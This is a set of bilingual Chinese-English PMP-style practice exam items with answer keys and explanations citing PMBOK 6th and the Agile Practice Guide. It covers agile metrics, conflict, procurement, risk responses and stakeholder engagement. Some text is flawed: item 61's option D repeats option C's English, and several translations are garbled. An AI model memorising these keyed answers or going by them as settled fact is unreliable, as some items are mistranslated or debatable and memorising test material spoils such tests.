在迭代回顾会议上,团队回顾了上一次迭代的各种指标。度量标准包括速度、吞吐量和在制品(WIP)。团队成员分析数据并得出结论,他们的周期时间非常高,应该减少。这个团队向项目经理寻求建议。项目经理最好建议以下哪个选项?At the iteration retrospective meeting, the team reviews the various metrics from the last iteration. The metrics include velocity, throughput, and work in progress (WIP). The team members analyze the data and conclude that their cycle time is very high and should be reduced. The team approaches the project manager for advice. Which of the following options is the best for the project manager to recommend?  A :减少WIP和吞吐量 Decrease WIP and throughput  B :提高WIP数量、生产速度和生产效率 Increase WIP, velocity, and throughout  C :增加WIP和生产能力 Increase WIP and throughput  D : 减少WIP数量,提高生产能力 Decrease WIP and increase throughput 正确答案:D 你的答案:D 解析:知识点出处: 敏捷实践指南 页码:P103 章节:A3.4 看板方法: 通过限制在制品将可以提高工作效率和质量。 通过WIP(在制品管理)来提高工作效率与质量。 33、 [多选] 两名项目团队成员经常对项目工作方法产生分歧,若要解决这样的情况,项目经理应该做什么?Two project team members often disagree on project working methods. What should the project manager do to resolve this situation?  A :与这些团队成员的直接经理进行面对面的会谈 Have face-to-face meetings with the direct managers of these team members  B :审查团队绩效数据以确定这是否影响项目 Review team performance data to determine if this affects the project  C :组织团队建设活动以增强团队关系 Organize team building activities to enhance team relationships  D : 使用冲突管理技能,营造一个积极的工作环境 Use conflict management skills to create a positive work environment 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:348 章节:9.5.2.1 冲突管理 :成功的冲突管理可提高生产力,改进工作关系。同时,如果管理得当,意见分歧有利于提高创造力和改进决策。 如果管理得当,有助于提高创造力和改进。 34、 [多选] 一家供应商称因为某项主要功能未包含在约定的范围内,所以未能实施。项目团队不认同这一说法,项目经理下一步应该做什么?A supplier said that a major function could not be implemented because it was not included in the agreed scope. The project team did not agree with this statement. What should the project manager do next?  A :将该问题升级上报给项目发起人解决 Escalate the issue to the project sponsor for resolution  B :签发一份报价邀请书(RFQ),聘请新的供应商 Issue an invitation to quote (RFQ) and hire a new supplier  C :要求法律部门对供应商采取行动 Ask the legal department to take action on the supplier  D : 审查采购管理计划和合同协议 Review the procurement management plan and contract agreement 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P489 章节:12.2.3.2 协议:可包括(但不限于): • 采购工作说明书或主要的 可交付成果; • 进度计划、里程碑,或进度计划中规定的日期; • 绩效报告; • 定价和支付条款; • 检查、质量和验收标准; 范围有歧义, 查看合同中对可交付成果的定义 35、 [多选] 一个将组织从职能组织结构转变为项目导向的项目刚刚启动。 如果项目成功地达到了它的目标,那么最有可能的结果是什么?(选择三个)A project has just been initiated to transform an organization from a functional organizational structure to project- oriented. If the project is successful in meeting its objectives, what will be the most likely outcome? (Choose three)  A : 组织将从当前状态转移到期望的未来状态。 The organization will shift from the current state to the desired future state.  B : 项目经理将控制项目预算。 The project manager(s) will have control over the project budget.  C :员工将按所做的工作(工程、制造等)分组。 Employees will be grouped by the work being done (engineering, manufacturing, etc.)  D : 项目经理将对项目有更大的权力。 The project manager(s) will have significantly more authority over projects.  E :项目经理的角色将被定义为项目协调员。 The role of the project manager(s) will be defined as a project coordinator. 正确答案:A,B,D 你的答案:A,B,D 解析:知识点出处: PMBOK 6th 页码:P47 章节:2.4.4.2 职能型:没有权力 ;弱矩阵:中低权力; 平衡矩阵:平等权力 ;强矩阵:中高权力 ;项目型:全部权力 。 企业成功转型,项目经理拥有全部的权力。 36、 [多选] 下列哪个选项描述的是应急储备金?Which of the following options describes contingency reserve?  A :为未计划的项目范围和成本变更而储备的预算 Budget reserved for unplanned changes to project scope and cost  B :为掩盖较差的业绩而储备的预算 Budget reserved for covering poor performance  C : 为未计划但是可能由于风险登记册中登记风险成真而潜在要求的变更而储备的预算 Budget reserved for unplanned but potential required changes that can result from realized risks identified in the risk register  D :为支付批准变更所产生的超支费用而储备的预算 Budget reserved for covering cost overrun due to approved changes 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P246 章节:7.2.3.1 应急储备: 成本估算包括对完成项目工作可能需要的成本、应对已识别风险的应急储备,以及应对计划外工作的管理储备的量化估算。 应急储备用于已知风险管理储备用于未知风险 37、 [多选] 一位敏捷教练被分配到一个新成立的团队中,负责他们的第一个项目。教练安排了团队,提供了关于敏捷最佳实践的培训,并解释说敏捷团队是自我管理的。然而,团队成员正在努力从看板面板分配用户故事,并且由于缺乏协作,生产力正在受到影响。敏捷教练的最佳行动方案是什么?An agile coach has been assigned to a newly formed team with their first project. The coach colocated the team, provided training on agile best practices, and explained that agile teams are self-managing. However, the team members are struggling to assign user stories from the Kanban board, and productivity is suffering as a result of the lack of collaboration. What is the best course of action for the agile coach?  A :忽略这个问题,因为敏捷团队应该是自我管理的 Ignore the problem as agile teams are supposed to be self-managing.  B :从现在开始,将用户故事标记给各个团队成员 Assign the user stories to individual team members from now onward  C :将团队章程替换为更有生产力的项目团队的章程 Replace the team charter with one from a more productive project team.  D : 采取更直接的方法,由于团队仍处于形成阶段 Take a more directive approach since the team is still in its forming stage. 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P338 章节:9.4 塔克曼阶梯理论:形成阶段 、 震荡阶段 、规范阶段、成熟阶段 、 解散阶段 形成阶段,敏捷教练应该指导团队。 41、 [多选] 在编制人力资源计划时,项目经理发现来自职能部门的一名成员需要经过3天的培训,才能具备某种特定的技能,来完成某个特定的工作包。由于专业的限制,项目团队中没有其他人可以替代该成员。项目经理应该怎么做?When preparing the HR plan, the project manager finds that a member from a functional department master a particular skill only after receiving three-day training to complete a specific work package. Due to limitation of profession, no other in the project team can replace this member. Then, what should the project manager do?  A :在项目进度计划中增加3天时间 To add extra 3 days in the project schedule  B :要求他利用业余时间完成这3天的培训 To request him to complete the 3-day training in his spare time  C : 把该培训作为项目工作之一,加入项目计划中,并进行风险分析 To take the training as one of the project tasks, to participate in the project plan, and to perform risk analysis  D :要求用一个不需培训的成员来替换该成员 To require a member who doesn’t need to receive this training to replace the member 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P342 章节:9.4.2.6 培训:如果项目团队成员缺乏必要的管理或技术技能,可以把 对这种技能的培养作为项目工作的一部分。 项目经理按敏捷方式来,团队没有,说明团队没有掌握 敏捷方法的技能。 42、 [多选] 项目经理正在管理一个关键项目,该项目的范围已经最终确定并获得批准,在项目执行中,客户建议一项变更,但该变更将影响基准,并需要额外的20, 000美元和四周时间,客户认为有必要进行变更,但不同意调整时间表和预算。项目经理应该做什么?The project manager is managing a key project, the scope of the project has been finalized and approved, and during project execution, the client proposes a change, but the change will affect the baseline and will require an additional $ 20,000 and four weeks , The client believes that a change is necessary, but does not agree to adjust the timetable and budget. What should the project manager do?  A :拒绝该变更,因为超出范围 Reject the change because it is out of scope  B :更新进度计划,以包含该变更 Update the schedule to include the change  C : 向变更控制委员会(CCB)提交该请求 Submit the request to the Change Control Board (CCB)  D :分包该变更以降低成本 Subcontract the change to reduce costs 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P113 章节:4.6 变更流程,变更提出后, 先分析影响,再提交含解决措施的变更请求给 CCB 审批前,三步骤提出变更-分析影响-提交审批 45、 [多选] 在新目标国家推出产品前不久,公司意识到该产品并不完全符合当地的数据隐私法。由于预算限制,公司管理层要求项目团队将可能的罚款成本与返工成本进行比较。返工的一部分包括向产品待办事项列表中添加新需求。在这种情况下,下面哪个选项最有可能帮助到你?Shortly before rolling out a product in a newly targeted country, a company realizes that the product does not fully comply with local data privacy laws. Due to budget constraints, the company management asks the project team to compare costs for possible fines with costs for rework. Part of the rework would involve adding new requirements to the product backlog. In this situation, which of the following is most likely to help?  A :重构 Refactoring  B :用户画像 Personas  C : 阶段关口 A phase gate  D :快速跟进 Fast tracking 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P18 章节:1.2.4 阶段关口: 为做出进入下个阶段、进行整改或结束项目集或项目的决定,做的阶段末审查。 审查一个阶段末的问题,做成本效益分析,以决定下个 阶段的项目。 48、 [多选] 生产过程运行图中有 8 个点,其中有一个点在控制界限以外,项目经理如何解读?How should a project manager interpret an 8-point run in a process with 1 point located out of control limit?  A :这属于正常情况,不用采取行动 It is a normal situation, nothing should be done  B :应放宽控制范围 Control limits should be widened  C : 这属于不正常情况,生产流程需改进 It is an abnormal situation; production processes should be corrected  D :这是一个警告信号,质量标准系统需升级 It is a warning signal; quality measurement systems should be updated 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P304 章节:8.3.2.5 控制图: 控制图用于确定一个过程是否稳定,或者是否具有可预测的绩效 产线的运行是一个过程,运用控制图监控整个过程 50、 [多选] 某项目需要制造和安装一种设备。该设备已经在国外的工厂完成制造工作。按照原定计划,设备将于两周内运抵现场,用于安装。根据最近出现的一些情况,项目经理认为设备可能不能按期运抵现场。此时应该怎么做?One project needs to manufacture and install an equipment. This equipment has been manufactured in a foreign factory. According to the established plan, the equipment is expected to arrive at the project site within two weeks and will be installed there. According to what happened lately, the project manager considers that the equipment may not arrive at the site on schedule. What should he do right now?  A :立即将这个问题和推迟情况通知客户 To inform the client of this issue and delay immediately  B : 确定这一事件对项目成本和进度的影响 To ascertain the impact of this event on project cost and progress  C :使用风险储备从当地购买设备,以便按时开始安装 To use risk reserves to purchase the equipment from local manufacturer, in order to start installation on schedule  D :召开团队会议,制订变通方案 To hold a team meeting and to work out a workaround plan 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P419 章节:11.3 实施定性风险分析是通过评估单个项目风险发生的概率 和影响以及其他特征,对风险进行优先级排序,从而为 后续分析或行动提供基础的过程。 识别完风险后要定性分析 51、 [多选] 项目经理应在哪里存档所有相关项目文件和经验教训?Where should the project manager archive all relevant project documents and lessons learned?  A :工作授权系统 Work authorization system  B : 项目管理信息系统 (PMIS)Project Management Information System (PMIS)  C :项目数据管理系统 Project Data Management System  D :配置管理系统 Configuration Management System 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P103 章节:4.4.2.3 项目管理信息:系统项目管理信息系统通常包括文档管理系统。 文档类的内容都存储在项目管理信息系统中。 54、 [多选] 项目经理与关键相关方进行了成本效益分析研讨会,以确定项目边界并证明其合理性。在审核结果后,项目经理发现预期收益的值不一致。 项目经理应该做什么?A project manager held a cost-benefit analysis workshop with key stakeholders to establish and justify project boundaries.After reviewing the results,the project manager found inconsistent values with expected benefits. What should the project manager do?  A : 接洽相关方,以确认所提供的值与项目范围一致 Engage with stakeholders to confirm that provided values align with the project's scope  B :根据相关方提供的值修改项目范围,并更新项目章程 Revise the project's scope based on stakeholder-provided values,and update the project charter  C :计算不一致值的平均值,并更新分析以符合预期收益 Compute the average of the inconsistent values,and update the analysis to align with expected benefits  D :将该不一致性记录为一项风险,并假设风险与风险管理计划中列出的预期收益一致 Log the inconsistencies as a risk,and assume that the risk aligns with the expected benefits outlined in the risk management plan 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P77 章节:4.1.1.1 一般情况下,商业论证会包含商业需求和 成本效益分析,以论证项目的合理性并 确定项目边界。 商业论证过程发现问题,不能自行处理,因此排除BC,D假设一致也有问题。 55、 [多选] 项目经理通知敏捷团队成员,由于意外的个人问题,产品负责人将不能参加即将到来的冲刺审查。这种情况下最可能的结果是什么?A project manager informs the agile team members that, due to unexpected personal issues, the product owner will be unable to attend the upcoming sprint review. What would be the most likely outcome of this situation?  A : 不清楚团队在冲刺期间开发的产品增量是否被接受 It will be unclear whether the product increment developed by the team during the sprint is accepted or not  B :团队无法确定他们用于开发产品的过程是否需要改进 The team will be unable to determine if the process they used to develop the product needs improvement  C :不会产生任何严重后果,因为产品负责人缺席了一次冲刺审查会议 There will be no significant consequences as a result of the product owner missing one sprint review meeting  D :无法确定项目团队在最新冲刺期间增加了多少价值 It will be impossible to determine how much value has been added by the project team during the latest sprint 正确答案:A 你的答案:A 解析:知识点出处: 敏捷实践指南 页码:P55 章节:5.2.5 展示/评审 :当团队以用户故事的形式完成特定功能时,团队会定期展示工作产品。看过展示后,产品负责人接受或拒绝故事。 PO决定接受或拒绝故事,PO来不了,就验收不了。 58、 [多选] 一个大型房地产开发项目的项目经理意外离职,任命了新项目经理,进度计划仅受到了一个月的影响。这使用的是什么风险应对策略?The project manager of a large real estate development project unexpectedly leaves the Company and a new project manager has been appointed. The schedule is only affected by one month. What risk response strategy is used here?  A :转移 Transfer  B : 减轻 Mitigation  C :回避 Avoidance  D :接受 Acceptance 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P443 章节:11.5.2.4 减轻:采用较简单的流程 进行更多次测试 选用更可靠的卖方 原型开发 在一个系统中加入冗余部件 降低了对项目的影响,属于减轻。 59、 [多选] 项目经理意识到项目相关方对项目可交付成果和时间表感到担忧。项目经理应该做什么?A project manager realizes that project stakeholders are apprehensive about project deliverables and timelines.What should the project manager do?  A : 与每个相关方开会,以了解他们的担忧 Meet with each stakeholder to gain an understanding of their concerns  B :重新审视项目管理计划,以减少相关方的顾虑 Review the project management plan to reduce stakeholder uncertainties  C :要求发起人让相关方放心 Ask the sponsor to reassure the stakeholders  D :与相关方一起查阅假设日志 Review the assumption log with the stakeholders 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P524 章节:13.2 在管理相关方参与过程中,需要开展多项活动,例如: • 在适当的项目阶段引导相关方参与,以便获取、确认或维持他们对项目成功的持续承诺; • 通过谈判沟通管理相关方期望; • 处理与相关方管理有关的任何风险或潜在关注点,预测相关方可能在未来引发的问题; • 澄清和解决已识别的问题 管理相关方参与要积极主动、当面解决问题。不回避, 不随便找发起 61、 [多选] 项目经理正在与一个供应商合作交付项目的一部分,该供应商的每周状态报告表明将按时提供下一个可交付成果。但最近的供应商电子邮件却表明他们尚未开始工作。可交付成果要求于下周交付。项目经理下一步应该做什么?The project manager is working with a supplier to deliver part of the project, and the supplier's weekly status report indicates that the next deliverable will be provided on time. However, the latest supplier email indicates that they have not started work. Requested to be delivered next week.What should the project manager do next?  A : 更新风险登记册并监控供应商的风险 Update the risk register and monitor supplier risk  B :要求该供应商在所有未来沟通中包含完成率 Require the supplier to include completion rates in all future communications  C :致电该供应商,以便在可交付成果到期日之前审查关注的领域 Call the supplier to review the areas of interest before the deliverable due date  D :通知该供应商有关延迟交付的处罚条款 Call the supplier to review the areas of interest before the deliverable due date 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P501 章节:12.3.3.6 监督采购的输入风险登记册:每个被选中的卖方都会带来特殊的风险。随着早期风险的过时以及新风险的出现,在项目执行期间对风险登记册进行变更。 供应商还未开始做,是一个风险,当做风险跟踪即可。C,绩效审查是审查结果而非未发生的过程。 62、 [多选] 一家组织正在几个不同的国家/地区执行一个大型业务转型项目。相关方包括来自不同文化背景和年龄组的经理,项目信息主要通过电子邮件和社交媒体沟通。一个相关方抱怨说他们没有充分获得项目进展情况的通知。项目经理应该做什么?An organization is implementing a large business transformation project in several different countries. The parties include managers from different cultural backgrounds and age groups, and project information is mainly communicated via email and social media. One party complained that they did not get full notification of project progress.What should the project manager do?  A :在所有项目会议中包含相关方 Include interested parties in all project meetings  B :要求相关方定期查收电子邮件 Relevant parties are required to check emails regularly  C :建立深层次的信任关系 Build deep trust relationships  D : 遵循多方面的沟通方法 Follow a variety of communication methods 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P364 章节:10 沟通管理的发展趋势和新兴实践:制定项目相关方沟通策略时,通常应考虑所有可用技术,并从中作出选择;同时也应尊重因文化、实践和个人背景而产生的对沟通偏好。多面性方法能够提高与不同年代和文化背景的相关方沟通的效果。 凡信息,找沟通 64、 [多选] 项目经理参与了多个产品实施项目。这些项目的主要任务是设置许多产品配置项。这是由一个分包商手动完成,但该分包商具有由于配置错误而导致可交付成果被拒绝的记录。 项目经理应该使用什么工具或技术来对可交付成果进行质量控制?The project manager is involved in multiple product implementation projects. The main task of these projects is to set many product configuration items. This is done manually by a subcontractor, but the subcontractor has rejected deliverable due to configuration errors Records. What tools or techniques should the project manager use to quality control deliverable?  A :统计抽样 Statistical sampling  B : 核对单 Checklists  C :根本原因分析 Root cause analysis  D :问卷调查 Questionnaire survey 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P302 章节:8.3.2.1 核对单:有助于以结构化方式管理控制质量活动。 有许多配置项, 需要核对单对供应商完成的配置项目一一检查。 65、 [多选] 团队成员必须按照进度基准来完成一个复杂项目的可交付成果。但是,由于一些团队成员被其他职能经理分配给其他任务,导致项目落后。 若要将项目拉回正轨,项目经理应该做什么?Team members must complete deliverables on a complex project per the schedule baseline.However,the project is falling behind because some team members are assigned other tasks by their functional managers. What should the project manager do to get the project back on track?  A :告知团队成员,他们只能被分配到一个项目上工作 Advise team members that they are allocated to only one project  B :提醒团队成员,将功能性任务视为第二优先事项 Remind team members to treat functional tasks as a second priority  C :遵循并执行资源管理计划 Follow and enforce the resource management plan  D : 与职能经理协商,就资源分配达成共识 Negotiate with the functional members to mutually agree on resource allocation 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P332 章节:9.3.2.2 谈判:职能经理。 确保项目在要求的时限内获得最佳资源,直到完成职责。 执行组织中的其他项目管理团队。合理分配稀缺或特殊资源。 外部组织和供应商。提供合适的、稀缺的、特殊的、合格的、经认证的或其他特殊的团队或实物资源。特别需要注意与外部谈判有关的政策、惯例、流程、指南、法律及其他标准。 获取资源,优先 66、 [多选] 项目经理与多位高管相关方一起参与一个生命周期替换项目,其中一位相关方强烈反对该项目。若要获得该相关方的支持,项目经理应该怎么做?A project manager joins a life cycle replacement project with multiple executive stakeholders,one stakeholders is strongly against the project.What should the project manager do to gain the stakeholders'support ?  A :制定权力/影响力方格,以确定该相关方影响项目的能力并确认其支持 Develop A power/influence grid to determine the stakeholders’ ability to influence the project and confirm its support  B :创建相关方参与计划,以确定该相关方的项目支持水平 Create a stakeholder engagement plan to determine the stakeholder’s level of project support  C :将该问题升级上报给项目推动者,并请求替换一个支持该项目的相关方 Escalate the issue to a project champion and request an alternate stakeholder that will support the project  D : 执行相关方分析,以确定缺乏项目支持的原因并对这些原因进行优先级排序 Conduct a stakeholder analysis to identify and prioritize reasons for the lack of project support 正确答案:D 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P512 章节:13.1.2.3 相关方分析: 相关方分析会产生相关方清单和关于相关方的各种信息, 例如,在组织内的位置、在项目中的角色、与项目的利害关系、期望、态度(对项目的支持程度),以及对项目信息的兴趣。 先进行相关方分 析,再更新参与 计划。B在D后面。 A确认其支持 不对。 67、 [多选] 在迭代期间,敏捷团队的成员从迭代待办事项列表的顶部提取工作项。工作项描述了接下来要开发的功能。当团队成员阅读描述时,她意识到这些信息不足以开发该功能。团队成员向Scrum主管寻求建议。Scrum主管应该推荐什么做法?During an iteration, a member of an agile team pulls the work item from the top of the iteration backlog. The work item describes a feature to be developed next. As the team member reads the description, she realizes that the information is insufficient to develop the feature. The team member approaches the scrum master for advice. What should the scrum master recommend?  A :根据可用信息开发功能 Develop the feature based on the available information  B :执行体系结构刺探 Perform an architectural spike  C :将事项返回到待办事项列表并选择另一个事项 Return the item to the backlog and select another one  D : 咨询产品负责人 Consult with the product owner 正确答案:D 你的答案:D 解析:知识点出处:敏捷实践指南 页码:41 章节:4.3.2 产品负责人 Product Owner: 创建待办列表并排序、 确认工作优先顺序、 提供反馈、 指导开发方向。 待办列表的中用户故事没有描述清楚,要找PO确认。 69、 [多选] 你正在管理一个项目,该项目将为你的客户提供电子学习解决方案。这个项目的需求在一开始并未明确定义,并且随着项目的发展会根据客户的反馈进行修改。你决定做尽可能多的计划,并在继续计划的同时开始创建工作。下列哪一种技术在定义项目活动时最有帮助?You are managing a project which would provide e-learning solutions to your customer. The requirements of this project are not clearly defined in the beginning, and there would be modifications based on customer feedback as the project evolves. You decide to plan as much as you can and begin to create work while continuing the planning. Which of the following techniques would be most helpful while defining activities for the project?  A : 滚动式规划 Rolling Wave Planning  B :模板 Templates  C :极限编程 Extreme Programming  D :准时制生产方式 Just in Time 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P160 章节:5.4.2.2 滚动式规划: 要在未来远期才完成的可交付成果或组件,当前可能无法分解。项目管理团队因而通常需要等待对该可交付成果或组成部分达成一致意见,才能够制定出 WBS 中的相应细节。这种技术有时称做滚动式规划。 滚动式规划符合项目渐进明细的特点 C是软件开发技术 而非项目规划技术 70、 [多选] 在最后一次迭代结束的前几天,团队通知项目经理,他们将无法完成两个工作包A和B,因为WBS不够完善。团队认为他们可能能够按时完成包A,但需要额外一周的时间来完成包B,后者的优先级更高。对项目经理来说,最好的行动方案是什么?A few days before the end of the last iteration, the team informs the project manager that they will be unable to finish two work packages, A and B, because the WBS is insufficiently refined. The team thinks they might be able to complete package A on time but will need an additional week to complete package B which has a higher priority. What is the best course of action for the project manager?  A :扩展迭代长度以完成包A和B Extend the iteration length in order to finish both packages A and B  B :指示团队完成包B,因为它具有更高优先级 Instruct the team to complete package B since it has a higher priority  C :指示团队完成包A,因为它可以及时完成 Instruct the team to complete package A since it can be done on time  D : 咨询产品负责人并做出相应的决定 Consult with the product owner and make a decision accordingly 正确答案:D 你的答案:D 解析:知识点出处: 敏捷实践指南 页码:41 章节:4.3.2 产品负责人 Product Owner :创建待办列表并排序、 确认工作优先顺序 、提供反馈 、指导开发方向 。 产品负责人来确定需求的优先级。 71、 [多选] 过去六个月中,项目经理一直在努力定义项目的范围。项目团队一直与客户合作,对需求进行小幅调整,但耗时超过预期。 若要完成范围定义,项目经理应该做什么?For the past six months,a project manager has struggled with defining a project’s scope.The project team has been working with the customer to make small adjustments to the requirements but is taking longer than expect. What should the project manager do to complete the scope?  A : 安排召开研讨会,就最终需求达成一致意见 Facilitate a workshop to agree on the final requirements  B :为团队提供有关需求收集的最佳实践培训 Provide training to the team on collecting requirements best practices  C :召开数据收集会议,以审查收集到的需求 Conduct a data-gathering meeting to review the collected requirements  D :与团队一起在内部最终确定需求,并分享给客户 Internally finalize the requirements with the team,and share them with the client 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P153 章节:5.3.2.4 引导:在研讨会和座谈会中使用引导技能来协调具有不同期望或不同专业知识的关键相关方, 使他们就项目可交付成果以及项目和产品边界达成跨职能的共识。 引导相关方达成跨职能的共识。 72、 [多选] 在项目会议期间,一个团队发现三个月前关闭的问题仍然处于活跃状态,并对项目的预算产生负面影响。若要防止这种情况再次发生,项目经理可以做什么?During a project meeting,a team discovers that an issue closed three months ago is still active and negatively impacting the project's budget.What should the project manager do to avoid this from reoccurring?  A :要求团队监督潜在问题 Ask the team to monitor potential issues.  B :将该问题作为一项风险记录在风险登记册中 Document the issue as a risk in the risk register  C : 更新问题日志,并监督纠正措施 Update the issue log,and monitor corrective actions  D :将会议纪要就近保存,以跟踪所有问题 Keep meeting minutes nearby to track all issues 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P96 章节:4.3.3.3 问题日志 :问题日志可以帮助项目经理有效跟进和管理问题,确保它们得到调查和解决。作为本过程的输出,问题日志被首次创建,尽管在项目期间任何时候都可能发生问题。在整个项目生命周期应该随同监控活动更新问 题日志。 问题解决以后,要更新问题日志,同时审查问题是否真正关闭。 73、 [多选] 一个敏捷团队的四名成员在同一地点工作,另外两名成员在家远程工作。项目经理希望为团队成员购买办公用品和其他物理和数字工具,以支持他们的日常工作,支持协作,并促进敏捷最佳实践的使用。项目经理最好购买以下哪一项?Four members of an agile team are co-located while two others work remotely from home. The project manager wants to purchase office supplies and other physical and digital tools for the team members to support their day-to-day work, enable collaboration, and promote the use of agile best practices. Which of the following is best for the project manager to buy?  A :白板、索引卡、便签、活动挂图 Whiteboards, index cards, sticky notes, flip charts  B :即时通信应用、网络摄像头、麦克风 Instant messaging applications, web cameras, microphones  C :甘特图和项目管理信息系统 Gantt charts and project management information system  D : 白板、索引卡、便利贴、网络摄像头、麦克风 Whiteboards, index cards, sticky notes, web cameras, microphones 正确答案:D 你的答案:D 解析:知识点出处:敏捷实践指南 页码:103 章节:A3.4 看板方法:“看板”一词按字面翻译为“视觉符号”或“卡”。带有卡片的物理看板面板能够推动和实现整个系统中工作流的可视化,让每个人都可以看到。该信息发射源(大型显示屏)包含许多列,表示需要完成的工作流的状态。 A没有网络设备、 B没有本地设备、 C非敏捷。 74、 [多选] 由于内部需求,项目主题专家(SME)的职能经理要求项目发起人更新负责该地区的项目主题专家(SME),该SME对该项目十分关键,他的决定将对项目的进度计划产生严重风险。项目经理应该做什么?Due to internal needs, the functional manager of the project subject matter expert (SME) asked the project sponsor to update the project subject matter expert (SME) in charge of the area. This SME is critical to the project, and his decision will pose a serious risk to the project schedule.What should the project manager do?  A : 请求与项目发起人及职能经理开会 Request a meeting with the project sponsor and functional manager  B :释放该SME并更新项目进度计划 Release the SME and update the project schedule  C :与该SME交谈,请求其留在项目中 Talk to the SME and ask it to stay in the project  D :向项目发起人请求提供额外资金以聘请一位新SME Ask the project sponsor for additional funding to hire a new SME 正确答案:A 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P329 章节:9.3 获取资源的重要性:不能获得项目所需的资源时,可能会影响项目进度、预算、客户满意度、质量和风险;资源 或人员能力不足会降低 项目成功的概率,最坏的情况可能导致项目取消。 专家不可或缺,先考虑找职能经理协商 75、 [多选] 当一个关键相关方向项目经理提出一个新要求时,敏捷团队正在进行冲刺的中途。相关方声称该要求是必须具备的。变更管理计划规定所有的变更都应该通过变更控制委员会(CCB)。对项目经理来说,最好的行动方案是什么?An agile team is midway through a sprint when a key stakeholder approaches the project manager with a new requirement. The stakeholder claims that the requirement is must-have. The change management plan provides that all changes should pass through the change control board (CCB). What is the best course of action for the project manager?  A :重新确定当前冲刺待办事项列表的优先级,并指导项目团队开发新的必须拥有的需求 Reprioritize the backlog of the current sprint and instruct the project team to develop the new must-have requirement  B :拒绝要求,因为新的要求只能由产品负责人和变更控制委员会提出 Reject the requirement since new requirements can be requested only by the product owner and change control board  C :举行一次冲刺回顾,以确定为什么在收集需求过程中没有确定需求 Hold a sprint retrospective to determine why the requirement was not identified during the Collect Requirements process  D : 邀请相关方与产品负责人讨论新的需求,并让他们提交变更请求 Ask the stakeholder to discuss the new requirement with the product owner and have them submit a change request 正确答案:D 你的答案:D 解析:知识点出处:敏捷实践指南 页码:P26 章节:3.1.6 混合生命周期的特征: 对于整个项目,没有必要使用单一的方法。为达到特定的目标,项目经常要结合不同的生命周期要素。预测、迭代、增量和/或敏捷方法的组合就是一种混合方法。 敏捷团队,由PO负责 讨论变更。有CCB,说明明是 混合生命周期,因此 确认好再提出变更。 76、 [多选] 项目交付日期前两天,项目发起人希望核实是否所有可交付成果均满足业务目标以及在项目生命周期过程中是否已应用所有变更。项目经理从开始就知道文档齐全。项目经理应该向项目发起人提供什么文件?Two days before a project’s delivery date. The project sponsor wants to verify that all deliverable meet the business objectives, and that all the changes were applied throughout the project life cycle. The project manager knows that the project has been well documented from the beginning. What should the project manager provide to sponsor?  A :项目管理计划的所有版本 All versions of the project management plan  B : 需求跟踪矩阵 Requirement traceability matrix  C :项目范围说明书 Project scope statement  D :项目章程副本 copy of the project charter 正确答案:B 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P149 章节:5.3.2.2 需求跟踪矩阵:把产品需求从其来源连接到能满足需求的可交付成果的一种表格。 把每个需求与业务目标或项目目标联系起来 ; 需求跟踪矩阵提供了在整个项目生命周期中跟踪需求的 一种方法; 需求跟踪矩阵还为管理产品范围变更提供了框架。 需求跟踪矩阵从来源链接到可交付成果;为产品范围变 更提供了框架 77、 [多选] 已经决定使用敏捷框架来管理项目。项目正在实施中。在这种适应性环境中,项目经理应该关注什么?It has been decided that a project will be managed using an agile framework. The project is now in execution. In this adaptive environment, what should be the focus of the project manager?  A :执行详细的产品计划和交付 Performing detailed product planning and delivery  B : 建立合作决策的环境 Building a collaborative decision-making environment  C :要求项目团队对截止日期负责 Holding the project team accountable for deadlines  D :计划在每次迭代中将完成什么 Planning what will be accomplished during each iteration 正确答案:B 你的答案:B 解析:知识点出处:敏捷实践指南 页码:P34 章节:4.2.1 仆人式领导的职责: 仆人式领导通过管理关系,在团队内和组织中建立沟通与协作。这些关系可以帮助领导在 组织中得心应手地为团队提供支持。这种支持有助于消除障碍,促进团队理顺过程。 仆人式领导创造协作的环境 78、 [多选] 在一个项目的早期阶段,项目经理与许多相关方开会,就项目的目标、关键可交付成果和预算达成共识。项目经理现在可以完成哪份文件?In the early stages of a project, the project manager meets with many interested parties to reach consensus on the project's goals, key deliverable, and budget. Which document can the project manager complete now?  A :项目管理计划 Project management plan  B :商业论证 Business case  C : 项目章程 Project charter  D :可行性计划 Feasibility plan 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P81 章节:4.1.3.1 项目章程:项目章程是由项目启动者或发起人发布的,正式批准项目成立,并授权项目经理使用组织资源开展项目活动的文件。它记录了关于项目和项目预期交付的产品、服务或成果的高层级信息。项目章程的三个作用。 80、 [多选] 你的项目团队成员总是抱怨没有项目团队的整体感,因为他们分别在不同地方工作。为了改善这种情况,你设计了一个项目口号并将其印在 T 恤衫上来提高大家的集体感,但这一做法没有起到多大作用。你下一步要怎么做?The team members on your project have been complaining that do not have sense of identity as a team because they are located in different areas of the building. To remedy this situation, you developed a project logo and had it printed on T-shirts to promote the project, but this action has not worked. What are you going to do next?  A :印发时事通信 Initiate a newsletter  B :创造一种关于这个项目的神秘感 Create an air of mystery about the project  C : 建立一个“作战室” Establish a war room  D :发布一个关于团队成员应如何同主要相关方相互合作的指导方针 Issue guidelines on how team members should interact with other stakeholders 正确答案:C 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P339 